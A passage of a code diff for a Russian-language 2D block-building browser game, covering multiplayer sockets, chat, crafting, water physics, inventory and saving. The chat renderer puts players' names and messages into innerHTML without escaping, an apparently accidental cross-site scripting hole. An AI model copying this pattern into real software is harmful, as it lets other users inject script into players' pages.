'#f39c12', '#9b59b6', '#1abc9c', '#e91e63', '#00bcd4']; + let hash = 0; + for (let i = 0; i < socketId.length; i++) { + hash = ((hash << 5) - hash) + socketId.charCodeAt(i); + hash = hash & hash; + } + return colors[Math.abs(hash) % colors.length]; + } + + // Отправка позиции игрока (с throttle) + function sendPlayerPosition() { + if (!isMultiplayer || !socket || !socket.connected) return; + + const now = performance.now() / 1000; + if (now - lastMoveSendTime < MOVE_SEND_INTERVAL) return; + + // Отправляем только если позиция изменилась + const dx = Math.abs(player.x - lastSentX); + const dy = Math.abs(player.y - lastSentY); + if (dx < 1 && dy < 1) return; + + lastMoveSendTime = now; + lastSentX = player.x; + lastSentY = player.y; + + socket.emit('player_move', { x: player.x, y: player.y, player_name: playerName }); + } + + // Отправка изменения блока + function sendBlockChange(gx, gy, t, op) { + if (!isMultiplayer || !socket || !socket.connected) return; + + socket.emit('block_change', { gx, gy, t, op }); + } + + // ==================== ЧАТ ==================== + const chatMessages = []; + const MAX_CHAT_MESSAGES = 20; + + function addChatMessage(sender, message) { + const time = new Date().toLocaleTimeString('ru-RU', { hour: '2-digit', minute: '2-digit' }); + chatMessages.push({ sender, message, time }); + if (chatMessages.length > MAX_CHAT_MESSAGES) { + chatMessages.shift(); + } + renderChatMessages(); + } + + function renderChatMessages() { + const chatMessagesEl = document.getElementById('chatMessages'); + if (!chatMessagesEl) return; + + chatMessagesEl.innerHTML = chatMessages.map(m => + `
${m.time} ${m.sender}: ${m.message}
` + ).join(''); + + // Прокручиваем вниз + chatMessagesEl.scrollTop = chatMessagesEl.scrollHeight; + } + + function sendChatMessage(message) { + if (!message || message.trim() === '') return; + + if (isMultiplayer && socket && socket.connected) { + socket.emit('chat_message', { message: message.trim() }); + } else { + addChatMessage('Вы', message.trim()); + } + } + + // ==================== ПОДЕЛИТЬСЯ МИРОМ ==================== + function shareWorld() { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + // Копируем в буфер обмена + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + } + + // ==================== ИНИЦИАЛИЗАЦИЯ UI ==================== + let chatOpen = false; + + document.getElementById('chatToggle').onclick = () => { + playSound('click'); + chatOpen = !chatOpen; + document.getElementById('chatPanel').style.display = chatOpen ? 'block' : 'none'; + if (chatOpen) { + document.getElementById('chatInput').focus(); + } + }; + + document.getElementById('chatClose').onclick = () => { + playSound('click'); + chatOpen = false; + document.getElementById('chatPanel').style.display = 'none'; + }; + + document.getElementById('chatSend').onclick = () => { + const input = document.getElementById('chatInput'); + sendChatMessage(input.value); + input.value = ''; + }; + + document.getElementById('chatInput').addEventListener('keypress', (e) => { + if (e.key === 'Enter') { + sendChatMessage(e.target.value); + e.target.value = ''; + } + }); + + // ==================== ИНИЦИАЛИЗАЦИЯ СОКЕТА ==================== + // Инициализируем socket + initSocket(); + + // ==================== ЗВУКОВОЙ ДВИЖОК ==================== + const sounds = {}; + function loadSound(id, src) { + const audio = new Audio(); + audio.src = src; + audio.volume = 0.3; + sounds[id] = audio; + } + + // Загрузка звуков + loadSound('splash', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//splash.mp3'); + loadSound('sand1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand1.mp3'); + loadSound('snow1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//snow1.mp3'); + loadSound('stone1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1.mp3'); + loadSound('wood1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1.mp3'); + loadSound('cloth1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//cloth1.mp3'); + loadSound('fire', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//fire.mp3'); + loadSound('hit1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hit1.mp3'); + loadSound('attack', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//attack.mp3'); + loadSound('hurt_chicken', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hurt1_chicken.mp3'); + loadSound('stone_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1%20(1).mp3'); + loadSound('wood_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1%20(1).mp3'); + loadSound('click', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//click.mp3'); + loadSound('explode1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//explode1.mp3'); + loadSound('glass1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//glass1.mp3'); + loadSound('eat1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//eat1.mp3'); + loadSound('step', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand2.mp3'); + + function playSound(id) { + if(sounds[id]) { + sounds[id].currentTime = 0; + sounds[id].play().catch(e => console.error('Sound error:', e)); + } + } + + // Играем звук при прыжке + const gameEl = document.getElementById('game'); + const canvas = document.getElementById('c'); + const ctx = canvas.getContext('2d'); + + // offscreen light map (не вставляем в DOM) + const lightC = document.createElement('canvas'); + const lightCtx = lightC.getContext('2d'); + + const dpr = Math.max(1, window.devicePixelRatio || 1); + let W=0, H=0; + + const TILE = 40; + + // Мир + const SEA_GY = 14; // уровень воды (gy) - уменьшил для меньших водоёмов + const BEDROCK_GY = 140; // глубина бедрока (gy), чем больше - тем глубже + const GEN_MARGIN_X = 26; // запас генерации по X (в тайлах) + + const heroImg = new Image(); + heroImg.src = 'https://supamg.mkn8n.ru/storage/v1/object/public/img//grechka.png'; + + // Состояние инвентаря + let showFullInventory = false; + let recentItems = []; // Последние 5 выбранных предметов + + const BLOCKS = { + air: { n:'Воздух', solid:false }, + grass: { n:'Трава', c:'#7cfc00', solid:true }, + dirt: { n:'Грязь', c:'#8b4513', solid:true }, + stone: { n:'Камень', c:'#7f8c8d', solid:true }, + sand: { n:'Песок', c:'#f4d06f', solid:true }, + gravel: { n:'Гравий', c:'#95a5a6', solid:true }, + clay: { n:'Глина', c:'#74b9ff', solid:true }, + wood: { n:'Дерево', c:'#d35400', solid:true }, + planks: { n:'Доски', c:'#e67e22', solid:true }, + ladder: { n:'Лестница',c:'#d35400', solid:false, climbable:true }, + leaves: { n:'Листва', c:'#2ecc71', solid:true }, + glass: { n:'Стекло', c:'rgba(200,240,255,0.25)', solid:true, alpha:0.55 }, + water: { n:'Вода', c:'rgba(52,152,219,0.55)', solid:false, fluid:true }, + coal: { n:'Уголь', c:'#2c3e50', solid:true }, + copper_ore:{ n:'Медь', c:'#e17055', solid:true }, + iron_ore: { n:'Железо', c:'#dcdde1', solid:true }, + iron_armor:{ n:'Железная броня', c:'#95a5a6', solid:false, armor:0.5 }, + gold_ore: { n:'Золото', c:'#f1c40f', solid:true }, + diamond_ore:{n:'Алмаз', c:'#00a8ff', solid:true }, + brick: { n:'Кирпич', c:'#c0392b', solid:true }, + tnt: { n:'TNT', c:'#e74c3c', solid:true, explosive:true }, + campfire: { n:'Костёр', c:'#e67e22', solid:true, lightRadius:190 }, + torch: { n:'Факел', c:'#f9ca24', solid:true, lightRadius:140 }, + bedrock: { n:'Бедрок', c:'#2d3436', solid:true, unbreakable:true }, + flower: { n:'Цветок', c:'#ff4757', solid:false, decor:true }, + bed: { n:'Кровать', c:'#e91e63', solid:true, bed:true }, + boat: { n:'Лодка', c:'#8B4513', solid:false } + }; + + const ITEMS = { + meat: { n:'Сырое мясо', icon:'🥩', food:15 }, + cooked: { n:'Жареное мясо', icon:'🍖', food:45 } + }; + + // Seed мира для детерминированной генерации + // Инициализируем случайным seed, но он будет перезаписан сервером в мультиплеере + let worldSeed = Math.floor(Math.random() * 1000000); + + // Отслеживание изменений мира (для оптимизированного сохранения) + let placedBlocks = []; // [{gx, gy, t}] - блоки, установленные игроком + let removedBlocks = []; // [{gx, gy}] - блоки, удалённые игроком + + // Инструменты + const TOOLS = { + wood_pickaxe: { n:'Деревянная кирка', icon:'⛏️', durability: 60, miningPower: 1, craft: { wood: 3, planks: 2 } }, + stone_pickaxe: { n:'Каменная кирка', icon:'⛏️', durability: 130, miningPower: 2, craft: { wood: 1, stone: 3 } }, + iron_pickaxe: { n:'Железная кирка', icon:'⛏️', durability: 250, miningPower: 3, craft: { wood: 1, iron_ore: 2 } }, + wood_sword: { n:'Деревянный меч', icon:'⚔️', durability: 40, damage: 5, craft: { wood: 2, planks: 1 } }, + stone_sword: { n:'Каменный меч', icon:'⚔️', durability: 100, damage: 8, craft: { wood: 1, stone: 2 } }, + iron_sword: { n:'Железный меч', icon:'⚔️', durability: 200, damage: 12, craft: { wood: 1, iron_ore: 1 } } + }; + + // Текстуры блоков (простые) + const tex = {}; + function makeTex(type) { + const t = BLOCKS[type]; + const c = document.createElement('canvas'); + c.width = 32; c.height = 32; + const g = c.getContext('2d'); + + if (type === 'tnt') { + g.fillStyle='#c0392b'; g.fillRect(0,0,32,32); + g.fillStyle='#fff'; g.fillRect(0,12,32,8); + g.fillStyle='#000'; g.font='bold 10px sans-serif'; g.fillText('TNT',6,20); + return c; + } + if (type === 'campfire') { + g.fillStyle='#5d4037'; g.fillRect(4,26,24,6); + g.fillStyle='#3e2723'; g.fillRect(7,23,18,4); + return c; + } + if (type === 'torch') { + g.fillStyle='#6d4c41'; g.fillRect(14,10,4,18); + g.fillStyle='#f39c12'; g.fillRect(12,6,8,8); + return c; + } + if (type === 'glass') { + g.fillStyle='rgba(200,240,255,0.25)'; g.fillRect(0,0,32,32); + g.strokeStyle='rgba(255,255,255,0.65)'; g.strokeRect(2,2,28,28); + g.beginPath(); g.moveTo(5,27); g.lineTo(27,5); g.stroke(); + return c; + } + if (type === 'water') { + g.fillStyle = t.c; g.fillRect(0,0,32,32); + g.fillStyle = 'rgba(255,255,255,0.08)'; + g.fillRect(0,6,32,2); + return c; + } + if (type === 'bed') { + // Основание кровати + g.fillStyle = '#e91e63'; + g.fillRect(0, 0, 32, 32); + // Подушка + g.fillStyle = '#f8bbd0'; + g.fillRect(2, 2, 14, 14); + // Одеяло + g.fillStyle = '#c2185b'; + g.fillRect(16, 4, 14, 24); + // Детали одеяла + g.fillStyle = '#e91e63'; + g.fillRect(18, 6, 10, 20); + return c; + } + if (type === 'flower') { + g.fillStyle='#2ecc71'; g.fillRect(14,14,4,18); + g.fillStyle=t.c; g.beginPath(); g.arc(16,12,6,0,6.28); g.fill(); + return c; + } + if (type === 'boat') { + // Корпус лодки + g.fillStyle = '#8B4513'; + g.fillRect(2, 12, 28, 8); + // Борта + g.fillStyle = '#A0522D'; + g.fillRect(0, 10, 32, 12); + // Внутренность + g.fillStyle = '#DEB887'; + g.fillRect(4, 14, 24, 4); + // Дно + g.fillStyle = '#654321'; + g.fillRect(2, 20, 28, 4); + return c; + } + if (type === 'ladder') { + // Боковые стойки лестницы + g.fillStyle = '#8B4513'; + g.fillRect(4, 0, 4, 32); + g.fillRect(24, 0, 4, 32); + // Ступени + g.fillStyle = '#A0522D'; + g.fillRect(4, 4, 24, 3); + g.fillRect(4, 12, 24, 3); + g.fillRect(4, 20, 24, 3); + g.fillRect(4, 28, 24, 3); + return c; + } + + g.fillStyle = t.c || '#000'; + g.fillRect(0,0,32,32); + + g.fillStyle = 'rgba(0,0,0,0.10)'; + for (let i=0;i<6;i++) g.fillRect((Math.random()*28)|0, (Math.random()*28)|0, 4,4); + + if (type.endsWith('_ore') || type==='coal') { + g.fillStyle = 'rgba(0,0,0,0.35)'; + for (let i=0;i<4;i++) g.fillRect((Math.random()*24)|0, (Math.random()*24)|0, 6,6); + } + return c; + } + Object.keys(BLOCKS).forEach(k => tex[k] = makeTex(k)); + + // Мир-хранилище + const grid = new Map(); // key "gx,gy" => {gx,gy,t, ...} + const blocks = []; // для рендера/перебора видимых + function k(gx,gy){ return gx+','+gy; } + function getBlock(gx,gy){ return grid.get(k(gx,gy)); } + function hasBlock(gx,gy){ return grid.has(k(gx,gy)); } + function isSolid(gx,gy){ + const b = getBlock(gx,gy); + if(!b || b.dead) return false; + const def = BLOCKS[b.t]; + return !!def.solid && !def.fluid && !def.decor; + } + function setBlock(gx,gy,t, isPlayerPlaced = false){ + const key = k(gx,gy); + if(grid.has(key)) return false; + const b = { gx, gy, t, dead:false, active:false, fuse:0 }; + grid.set(key, b); + blocks.push(b); + + // Отслеживаем блоки, установленные игроком + if(isPlayerPlaced){ + placedBlocks.push({gx, gy, t}); + } + + return true; + } + function removeBlock(gx,gy){ + const key = k(gx,gy); + const b = grid.get(key); + if(!b) return null; + if(BLOCKS[b.t].unbreakable) return null; + grid.delete(key); + b.dead = true; + + // Отслеживаем удалённые блоки + const wasPlayerPlaced = placedBlocks.some(pb => pb.gx === gx && pb.gy === gy); + if(wasPlayerPlaced){ + // Удаляем из placedBlocks + placedBlocks = placedBlocks.filter(pb => !(pb.gx === gx && pb.gy === gy)); + } else { + // Это природный блок - добавляем в removedBlocks + removedBlocks.push({gx, gy}); + } + + return b; + } + + // Физика жидкости + const waterUpdateQueue = new Set(); + let waterUpdateTimer = 0; + const WATER_UPDATE_INTERVAL = 0.05; // Обновляем воду каждые 0.05 секунды + + function updateWaterPhysics(dt){ + waterUpdateTimer += dt; + if(waterUpdateTimer < WATER_UPDATE_INTERVAL) return; + waterUpdateTimer = 0; + + // Ограничиваем количество водных блоков для обработки (оптимизация) + const MAX_WATER_BLOCKS_PER_UPDATE = 50; + let processedCount = 0; + + // Собираем только видимые водные блоки в очередь (оптимизация) + waterUpdateQueue.clear(); + const minGX = Math.floor(camX/TILE) - 10; + const maxGX = Math.floor((camX+W)/TILE) + 10; + const minGY = Math.floor(camY/TILE) - 10; + const maxGY = Math.floor((camY+H)/TILE) + 10; + + for(const b of blocks){ + if(processedCount >= MAX_WATER_BLOCKS_PER_UPDATE) break; + if(!b.dead && b.t === 'water' && + b.gx >= minGX && b.gx <= maxGX && + b.gy >= minGY && b.gy <= maxGY){ + waterUpdateQueue.add(k(b.gx, b.gy)); + processedCount++; + } + } + + // Обновляем воду с ограничением глубины распространения + const processed = new Set(); + const toAdd = []; + const MAX_WATER_DEPTH = 20; // Максимальная глубина распространения воды + + for(const key of waterUpdateQueue){ + if(processed.has(key)) continue; + const b = grid.get(key); + if(!b || b.dead) continue; + processed.add(key); + + const gx = b.gx; + const gy = b.gy; + + // Проверяем глубину - не распространяем воду слишком глубоко + if(gy > SEA_GY + MAX_WATER_DEPTH) continue; + + // Проверяем, можно ли воде упасть вниз + const belowKey = k(gx, gy + 1); + const below = grid.get(belowKey); + + // Внизу пусто - вода создаёт новый блок внизу (но не удаляется сверху) + if(!below || below.dead){ + // Ограничиваем создание новых водных блоков + if(toAdd.length < 20){ // Максимум 20 новых блоков за обновление + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу не вода и не твёрдый блок - вода может течь вниз + if(!isSolid(gx, gy + 1) && below && below.t !== 'water'){ + if(toAdd.length < 20){ + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу твёрдый блок или вода - вода растекается горизонтально + // Проверяем левую сторону + const leftKey = k(gx - 1, gy); + const left = grid.get(leftKey); + if(!left || left.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx - 1, gy, t: 'water'}); + processed.add(leftKey); + } + continue; + } + + // Проверяем правую сторону + const rightKey = k(gx + 1, gy); + const right = grid.get(rightKey); + if(!right || right.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx + 1, gy, t: 'water'}); + processed.add(rightKey); + } + continue; + } + } + + // Применяем изменения (только добавляем новые блоки) + for(const newData of toAdd){ + const key = k(newData.gx, newData.gy); + if(!grid.has(key)){ + const b = { + gx: newData.gx, + gy: newData.gy, + t: newData.t, + dead: false, + active: false, + fuse: 0 + }; + grid.set(key, b); + blocks.push(b); + } + } + + // Очищаем мёртвые блоки из массива + for(let i = blocks.length - 1; i >= 0; i--){ + if(blocks[i].dead){ + blocks.splice(i, 1); + } + } + } + + // Инвентарь + const inv = { + dirt:6, stone:0, sand:0, gravel:0, clay:0, + wood:0, planks:0, ladder:0, leaves:0, coal:0, + copper_ore:0, iron_ore:0, gold_ore:0, diamond_ore:0, + brick:0, glass:0, + tnt:1, campfire:0, torch:0, + meat:0, cooked:0, + wood_pickaxe:0, stone_pickaxe:0, iron_pickaxe:0, + wood_sword:0, stone_sword:0, iron_sword:0, + iron_armor:0, + bed:0, boat:0 + }; + let selected = 'dirt'; + + const RECIPES = [ + { out:'planks', qty:4, cost:{ wood:1 } }, + { out:'ladder', qty:3, cost:{ planks:7 } }, + { out:'torch', qty:2, cost:{ coal:1, planks:1 } }, + { out:'glass', qty:1, cost:{ sand:3 } }, + { out:'brick', qty:1, cost:{ stone:2, clay:1 } }, + { out:'campfire', qty:1, cost:{ wood:1, coal:1 } }, + { out:'tnt', qty:1, cost:{ sand:2, coal:1 } }, + { out:'bed', qty:1, cost:{ wood: 3, planks: 3 } }, + { out:'boat', qty:1, cost:{ wood: 5 } }, + { out:'wood_pickaxe', qty:1, cost:{ wood: 3, planks: 2 } }, + { out:'stone_pickaxe', qty:1, cost:{ wood: 1, stone: 3 } }, + { out:'iron_pickaxe', qty:1, cost:{ wood: 1, iron_ore: 2 } }, + { out:'wood_sword', qty:1, cost:{ wood: 2, planks: 1 } }, + { out:'stone_sword', qty:1, cost:{ wood: 1, stone: 2 } }, + { out:'iron_sword', qty:1, cost:{ wood: 1, iron_ore: 1 } }, + { out:'iron_armor', qty:1, cost:{ iron_ore: 5 } } + ]; + + // UI + const hpEl = document.getElementById('hp'); + const foodEl = document.getElementById('food'); + const sxEl = document.getElementById('sx'); + const syEl = document.getElementById('sy'); + const todEl = document.getElementById('tod'); + const worldIdEl = document.getElementById('worldId'); + const playerCountEl = document.getElementById('playerCount'); + const hotbarEl = document.getElementById('hotbar'); + const craftPanel = document.getElementById('craftPanel'); + const recipesEl = document.getElementById('recipes'); + const deathEl = document.getElementById('death'); + const inventoryPanel = document.getElementById('inventoryPanel'); + const inventoryGrid = document.getElementById('inventoryGrid'); + + // Клик на часы для включения ночи + todEl.style.cursor = 'pointer'; + todEl.onclick = () => { + playSound('click'); + worldTime = 0.6; // Устанавливаем ночь + isNightTime = true; + }; + + function rebuildHotbar(){ + hotbarEl.innerHTML=''; + + // Показываем последние 5 выбранных предметов (если они есть в инвентаре) + const items = recentItems.filter(id => inv[id] > 0).slice(0, 5); + + for(const id of items){ + const s = document.createElement('div'); + s.className = 'slot'+(id===selected?' sel':''); + if(BLOCKS[id]) { + s.style.backgroundImage = `url(${tex[id].toDataURL()})`; + s.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + s.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + s.textContent = TOOLS[id].icon; + } else if(id === 'iron_armor') { + s.textContent = '🛡️'; + s.style.background = 'linear-gradient(135deg, #95a5a6 0%, #7f8c8d 100%)'; + } + const c = document.createElement('div'); + c.className='count'; + c.textContent = inv[id]; + s.appendChild(c); + s.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected=id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + }; + + // Показываем индикатор надетой брони + if(id === 'iron_armor' && player.equippedArmor === 'iron_armor') { + const equipped = document.createElement('div'); + equipped.className = 'equipped-indicator'; + equipped.textContent = '✓'; + s.appendChild(equipped); + } + hotbarEl.appendChild(s); + } + } + + function renderInventory() { + inventoryGrid.innerHTML = ''; + + // Создаём сетку инвентаря 7x3 + const items = Object.keys(inv).filter(id => inv[id] > 0); + + // Добавляем пустые слоты для полной сетки + for(let i = 0; i < 21; i++) { + const slot = document.createElement('div'); + slot.className = 'inv-slot' + (i < items.length && items[i] === selected ? ' sel' : ''); + + if(i < items.length) { + const id = items[i]; + if(BLOCKS[id]) { + slot.style.backgroundImage = `url(${tex[id].toDataURL()})`; + slot.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + slot.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + slot.textContent = TOOLS[id].icon; + } else if(id === 'iron_armor') { + slot.textContent = '🛡️'; + slot.style.background = 'linear-gradient(135deg, #95a5a6 0%, #7f8c8d 100%)'; + } + + const count = document.createElement('div'); + count.className = 'inv-count'; + count.textContent = inv[id]; + slot.appendChild(count); + + slot.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected = id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + renderInventory(); + }; + + // Двойной клик для надевания брони + slot.ondblclick = () => { + if(id === 'iron_armor' && inv.iron_armor > 0) { + // Если уже надета броня - снимаем её + if(player.equippedArmor === 'iron_armor') { + player.equippedArmor = null; + player.armor = 0; + console.log('[ARMOR] Iron armor unequipped'); + } else { + // Надеваем броню + player.equippedArmor = 'iron_armor'; + player.armor = BLOCKS['iron_armor'].armor; + console.log('[ARMOR] Iron armor equipped - armor:', player.armor); + } + playSound('click'); + renderInventory(); + } + }; + } + + inventoryGrid.appendChild(slot); + } + } + + function canCraft(r){ + console.log('[CRAFT] Checking recipe for:', r.out, '- cost:', r.cost); + for(const res in r.cost){ + const have = inv[res] || 0; + const need = r.cost[res]; + console.log('[CRAFT] Resource:', res, '- have:', have, '- need:', need, '- can craft:', have >= need); + if(have < need) return false; + } + return true; + } + function renderCraft(){ + recipesEl.innerHTML=''; + for(const r of RECIPES){ + const row = document.createElement('div'); + row.className='recipe'; + const icon = document.createElement('div'); + icon.className='ricon'; + icon.style.backgroundImage = `url(${tex[r.out].toDataURL()})`; + const info = document.createElement('div'); + info.className='rinfo'; + const nm = document.createElement('div'); + nm.className='rname'; + nm.textContent = `${BLOCKS[r.out].n} x${r.qty}`; + const cs = document.createElement('div'); + cs.className='rcost'; + cs.textContent = Object.keys(r.cost).map(x => `${BLOCKS[x].n}: ${(inv[x]||0)}/${r.cost[x]}`).join(' '); + info.appendChild(nm); info.appendChild(cs); + const btn = document.createElement('button'); + btn.className='rcraft'; + btn.textContent='Создать'; + btn.disabled = !canCraft(r); + btn.onclick = () => { + if(!canCraft(r)) return; + playSound('click'); // Звук клика по кнопке крафта + for(const res in r.cost) inv[res]-=r.cost[res]; + inv[r.out] = (inv[r.out]||0) + r.qty; + rebuildHotbar(); + renderCraft(); + }; + row.appendChild(icon); row.appendChild(info); row.appendChild(btn); + recipesEl.appendChild(row); + } + } + + let craftOpen=false; + let inventoryOpen = false; + + document.getElementById('craftBtn').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = !craftOpen; + craftPanel.style.display = craftOpen ? 'block' : 'none'; + if(craftOpen) { + renderCraft(); + // Закрываем инвентарь если открыт крафт + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + } + }; + document.getElementById('craftClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + // Кнопка открытия инвентаря + document.getElementById('invToggle').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = true; + inventoryPanel.style.display = 'block'; + renderInventory(); + // Закрываем крафт если открыт инвентарь + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + document.getElementById('inventoryClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + }; + + // Кнопка сохранения игры (только для одиночного режима) + const saveBtn = document.getElementById('saveBtn'); + saveBtn.onclick = () => { + playSound('click'); + saveGame(); + alert('Игра сохранена!'); + }; + + // Кнопка сброса игры (удаление сохранения и создание нового мира) + const resetBtn = document.getElementById('resetBtn'); + resetBtn.onclick = () => { + if (confirm('Вы уверены, что хотите удалить сохранение и начать новую игру?')) { + playSound('click'); + + // Удаляем сохранение из localStorage + try { + localStorage.removeItem(SAVE_KEY); + console.log('Сохранение удалено из localStorage'); + } catch (e) { + console.warn('Ошибка удаления сохранения:', e); + } + + // Сбрасываем in-memory сохранение + inMemorySave = null; + + // Генерируем новый worldId + worldId = Math.random().toString(36).substring(2, 10); + console.log('Новый worldId после сброса:', worldId); + + // Обновляем URL + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL обновлён:', newUrlString); + } + } catch (e) { + console.error('Ошибка обновления URL:', e); + } + + // Перезагружаем страницу + location.reload(); + } + }; + + // Показываем кнопку сохранения только если играем одни + function updateSaveButtonVisibility() { + if (isMultiplayer && otherPlayers.size > 0) { + saveBtn.style.display = 'none'; + } else { + saveBtn.style.display = 'flex'; + } + } + + // Режимы + const MODES = [{id:'move',icon:'🏃'},{id:'mine',icon:'⛏️'},{id:'build',icon:'🧱'}]; + let modeIdx=0; + const modeBtn = document.getElementById('modeBtn'); + function mode(){ return MODES[modeIdx].id; } + modeBtn.onclick = () => { + playSound('click'); // Звук клика по кнопке режима + modeIdx=(modeIdx+1)%MODES.length; modeBtn.textContent=MODES[modeIdx].icon; + }; + + // День/ночь (автоматический цикл) + let isNightTime = false; + + // Управление + const inp = { l:false, r:false, j:false, s:false }; + function bindHold(el, key){ + const down=(e)=>{ e.preventDefault(); inp[key]=true; }; + const up=(e)=>{ e.preventDefault(); inp[key]=false; }; + el.addEventListener('pointerdown', down); + el.addEventListener('pointerup', up); + el.addEventListener('pointerleave', up); + } + const leftBtn = document.getElementById('left'); + const rightBtn = document.getElementById('right'); + const jumpBtn = document.getElementById('jump'); + const downBtn = document.getElementById('down'); + + if(leftBtn) bindHold(leftBtn,'l'); + if(rightBtn) bindHold(rightBtn,'r'); + if(jumpBtn) bindHold(jumpBtn,'j'); + if(downBtn) bindHold(downBtn,'s'); + + window.addEventListener('keydown', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=true; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=true; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=true; + if(e.code==='KeyS'||e.code==='ArrowDown') inp.s=true; + }); + window.addEventListener('keyup', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=false; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=false; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=false; + if(e.code==='KeyS'||e.code==='ArrowDown') inp.s=false; + }); + + // Лодка + const boat = { + x: 0, y: 0, + w: 34, h: 34, + vx: 0, vy: 0, + active: false, + inWater: false + }; + + // Функция для расчёта урона с учётом брони + function calculateDamage(baseDamage) { + // Броня снижает урон пропорционально + // armor: 0 = без брони (100% урона) + // armor: 0.5 = железная броня (50% урона) + const reduction = player.armor; + const actualDamage = baseDamage * (1 - reduction); + console.log('[DAMAGE] Base:', baseDamage, '- Armor:', reduction, '- Actual:', actualDamage.toFixed(1)); + return actualDamage; + } + + // Игрок + const player = { + x: 6*TILE, y: 0*TILE, + w: 34, h: 34, + vx: 0, vy: 0, + grounded: false, + inWater: false, + headInWater: false, + hp: 100, + hunger: 100, + o2: 100, + invuln: 0, + fallStartY: 0, + lastStepTime: 0, + sleeping: false, + inBoat: false, + armor: 0, // Текущий уровень защиты (0 = без брони, 0.5 = железная броня) + equippedArmor: null // Тип надетой брони + }; + + // Сохраняем начальную позицию для возрождения + const spawnPoint = { x: 6*TILE, y: 0*TILE }; + + // Система сохранения игры (localStorage + in-memory fallback) + const SAVE_KEY = 'minegrechka_save'; + let db = null; // Оставляем для совместимости, но не используем + let inMemorySave = null; // Запасное сохранение в памяти + + // Инициализация (localStorage + in-memory fallback) + function initDB(){ + return new Promise((resolve) => { + console.log('Используем localStorage для сохранений (sandbox режим)'); + resolve(null); + }); + } + + // Детерминированный генератор псевдослучайных чисел на основе seed + function seededRandom(gx, gy){ + const n = Math.sin(gx * 12.9898 + gy * 78.233 + worldSeed * 0.1) * 43758.5453; + return n - Math.floor(n); + } + + function saveGame(){ + const saveData = { + version: 2, + worldSeed: worldSeed, + player: { + x: player.x, + y: player.y, + hp: player.hp, + hunger: player.hunger, + o2: player.o2 + }, + inventory: inv, + time: worldTime, + isNight: isNightTime, + // Сохраняем только изменения + placedBlocks: placedBlocks.slice(), + removedBlocks: removedBlocks.slice() + }; + + const saveSize = JSON.stringify(saveData).length; + console.log('Сохранение: player HP:', player.hp, 'hunger:', player.hunger, 'o2:', player.o2); + + // Пробуем сохранить в localStorage (основной метод для персистентности) + try { + localStorage.setItem(SAVE_KEY, JSON.stringify(saveData)); + console.log(`Игра сохранена в localStorage (размер: ${saveSize} байт)`); + } catch(e){ + console.warn('Ошибка сохранения в localStorage, используем только in-memory:', e); + + // Если localStorage недоступен, используем in-memory fallback + inMemorySave = saveData; + console.log(`Игра сохранена в памяти (размер: ${saveSize} байт)`); + } + } + + function loadGame(){ + return new Promise((resolve, reject) => { + // Пробуем localStorage + try { + const localSave = localStorage.getItem(SAVE_KEY); + if(localSave){ + const parsed = JSON.parse(localSave); + console.log('Загружено из localStorage, player HP:', parsed.player?.hp); + resolve(parsed); + return; + } + } catch(e){ + console.warn('Ошибка доступа к localStorage:', e); + } + + // Если localStorage недоступен, используем in-memory сохранение + if(inMemorySave){ + console.log('Загружено из in-memory 